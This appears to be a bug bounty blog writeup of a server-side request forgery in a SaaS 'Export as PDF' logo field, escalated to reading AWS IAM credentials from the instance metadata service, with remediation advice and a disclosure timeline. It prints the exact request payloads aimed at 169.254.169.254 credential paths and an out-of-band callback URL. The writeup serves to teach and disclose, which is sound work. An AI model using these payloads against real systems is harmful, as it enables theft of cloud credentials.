September 5, 2026
From a PDF Export Button to Full AWS Credential Theft: An SSRF Writeup ($7,200 Bounty)
Some of the most damaging bugs I’ve found didn’t come from exotic payloads or hours of fuzzing — they came from a feature nobody thinks to…

By T4nv1
5 min read
Some of the most damaging bugs I've found didn't come from exotic payloads or hours of fuzzing — they came from a feature nobody thinks to attack because it looks completely mundane. This time it was an "Export as PDF" button.
I'll refer to the target as reportly.io (redacted, per program disclosure rules). It's a B2B analytics dashboard hosted on AWS. Like a lot of SaaS products, it lets users generate a polished PDF version of their dashboard to share with clients or stakeholders. That single feature turned into a critical Server-Side Request Forgery (SSRF) that handed me live AWS IAM credentials from the underlying EC2 instance. Here's exactly how it happened.
Why "Export to PDF" Is Always Worth Testing
Any feature where a server fetches something on your behalf is a candidate for SSRF — webhooks, URL previews, file imports, screenshot generators, and PDF exporters all fall into this bucket. PDF generation is especially interesting because most implementations render an HTML page server-side using a headless browser (Puppeteer, wkhtmltopdf, or similar) before converting it to PDF. That headless browser is a full HTTP client running inside the server's network — and it usually has far more trust and network access than the front-end ever will.
When I saw the export button, my first instinct wasn't "can I break the PDF rendering" — it was "can I control what URL that renderer visits."
Finding the Injection Point
The export feature let users add a custom logo to the generated report by pasting an image URL:
POST /api/reports/export HTTP/1.1
Host: reportly.io
Authorization: Bearer <token>
Content-Type: application/json
{
"report_id": 4471,
"logo_url": "https://mycompany.com/logo.png",
"format": "pdf"
}POST /api/reports/export HTTP/1.1
Host: reportly.io
Authorization: Bearer <token>
Content-Type: application/json
{
"report_id": 4471,
"logo_url": "https://mycompany.com/logo.png",
"format": "pdf"
}The response came back as a downloadable PDF with my logo embedded at the top. That confirmed the server was fetching logo_url server-side and rendering it into the document — exactly the kind of behavior I was hoping to find.
First test: point logo_url at a URL I controlled and watch my own server logs.
"logo_url": "http://my-burp-collaborator-id.oastify.com/test""logo_url": "http://my-burp-collaborator-id.oastify.com/test"Within seconds, I had an incoming HTTP request in Burp Collaborator, complete with a User-Agent string identifying a headless Chromium instance. Confirmed: the backend was making live outbound requests based on unvalidated user input, and the requesting client was a full browser engine — not just a simple image downloader, which meant it could potentially render and follow redirects, load additional resources, and execute more complex requests than a basic fetch().
Escalating to Internal Network Access
With SSRF confirmed, the next question was scope: could I reach internal infrastructure? Since the app was hosted on AWS, the first target was the Instance Metadata Service, which by default listens on the link-local address 169.254.169.254 and is reachable only from within the instance itself — which was exactly the position I'd just borrowed.
"logo_url": "http://169.254.169.254/latest/meta-data/""logo_url": "http://169.254.169.254/latest/meta-data/"The response embedded directly into the PDF as if it were an image — except the "image" was actually plaintext metadata paths, rendered as broken alt-text-like content in the document. That was enough to confirm the request succeeded and the response was reaching the render pipeline, even though it wasn't displaying as intended.
To get clean output instead of a mangled PDF render, I needed a way to see the raw response. I found that the export endpoint also had a debug=true query parameter (found via a JS bundle that referenced it during earlier recon) which echoed the fetch response back as raw text instead of embedding it as an image:
POST /api/reports/export?debug=true HTTP/1.1
...
{
"report_id": 4471,
"logo_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"format": "pdf"
}POST /api/reports/export?debug=true HTTP/1.1
...
{
"report_id": 4471,
"logo_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"format": "pdf"
}The response body came back containing a single line: the name of the IAM role attached to the instance. That confirmed IMDSv1 was enabled with no token requirement — no X-aws-ec2-metadata-token header needed, which meant any SSRF into this endpoint was an instant win.
Getting the Credentials
With the role name in hand, one more request pulled the actual temporary credentials:
"logo_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/reportly-ec2-role""logo_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/reportly-ec2-role"The response returned a full JSON blob:
{
"Code": "Success",
"AccessKeyId": "ASIA................",
"SecretAccessKey": "................................",
"Token": "................................",
"Expiration": "2026-XX-XXT00:00:00Z"
}{
"Code": "Success",
"AccessKeyId": "ASIA................",
"SecretAccessKey": "................................",
"Token": "................................",
"Expiration": "2026-XX-XXT00:00:00Z"
}At that point I stopped. I did not attempt to use the credentials against any AWS API — proving that I could extract valid, live temporary credentials from the metadata service was sufficient to demonstrate critical impact, and using them further would have crossed from "proof of concept" into unauthorized access of production cloud infrastructure, which almost every program's rules of engagement explicitly prohibit. I redacted the actual key values in my report and included only enough of the response to prove the credentials were live and correctly formatted for an IAM role.
Why This Was Rated Critical
A few factors pushed the severity to the top of the scale:
- IMDSv1 was enabled on the instance, with no session-token requirement — a known-risky configuration AWS has been pushing customers to disable in favor of IMDSv2 for exactly this reason.
- The IAM role attached to the instance had broad permissions, including S3 read/write access to what turned out to be a bucket storing customer report data and, more concerningly, some backend configuration files.
- The SSRF required no special conditions to trigger — no admin access, no social engineering, just an authenticated user with access to a completely ordinary export feature.
- The renderer followed the request unfiltered — there was no allowlist restricting
logo_urlto image content types or specific domains, and no network-level egress filtering blocking the instance from reaching the metadata service (a mitigation AWS recommends via IMDSv2 hop-limit restrictions or blocking169.254.169.254at the container/network layer for services that don't need it).
Chained together, an attacker with a basic user account could have obtained live cloud credentials scoped to the application's own infrastructure — a direct path toward broader compromise of the hosting environment, not just the web app itself.
Structuring the Report
For a bug like this, clarity and restraint both matter. I structured the report as:
- Summary — SSRF in the PDF export feature leads to AWS IMDS credential exposure (Critical).
- Reproduction steps — exact requests, in order, with the
debugparameter noted since it wasn't strictly necessary but made verification easier for the triager. - Proof of impact — screenshot of the redacted credential JSON, explicitly noting I stopped short of using the credentials against any AWS service.
- Remediation recommendations:
- Enforce an allowlist of permitted schemes and domains (or at minimum block RFC 1918 ranges and the
169.254.169.254metadata address) for any user-supplied URL the backend fetches. - Migrate to IMDSv2 and enforce a hop limit of 1, which alone would have prevented credential retrieval from an SSRF in a containerized or proxied context.
- Scope the IAM role attached to the instance down to only the permissions the application actually needs (least privilege), so that even a successful SSRF has limited blast radius.
Timeline
- Day 0 — Report submitted with full PoC and redacted credential proof
- Day 1 — Triaged, escalated to engineering same day, marked Critical
- Day 3 — Metadata endpoint blocked at the network layer as an immediate mitigation
- Day 12 — IMDSv2 enforced account-wide, URL allowlist added to the export feature
- Day 15 — Bounty awarded: $7,200
- Day 45 — Public disclosure approved
What I'd Tell Anyone Hunting SSRF
The pattern to look for isn't "a URL field" — it's any feature where the server fetches a resource based on something you provided. Logo uploads, webhook configuration, link previews, "import from URL," screenshot tools, and document renderers are the highest-yield places to look, because they're built by developers thinking about functionality, not about the fact that they've just given users a way to make privileged requests on the server's behalf.
And when you do find SSRF on cloud infrastructure, always check the metadata service first — it's consistently one of the fastest paths from a "medium-looking" bug to a critical one.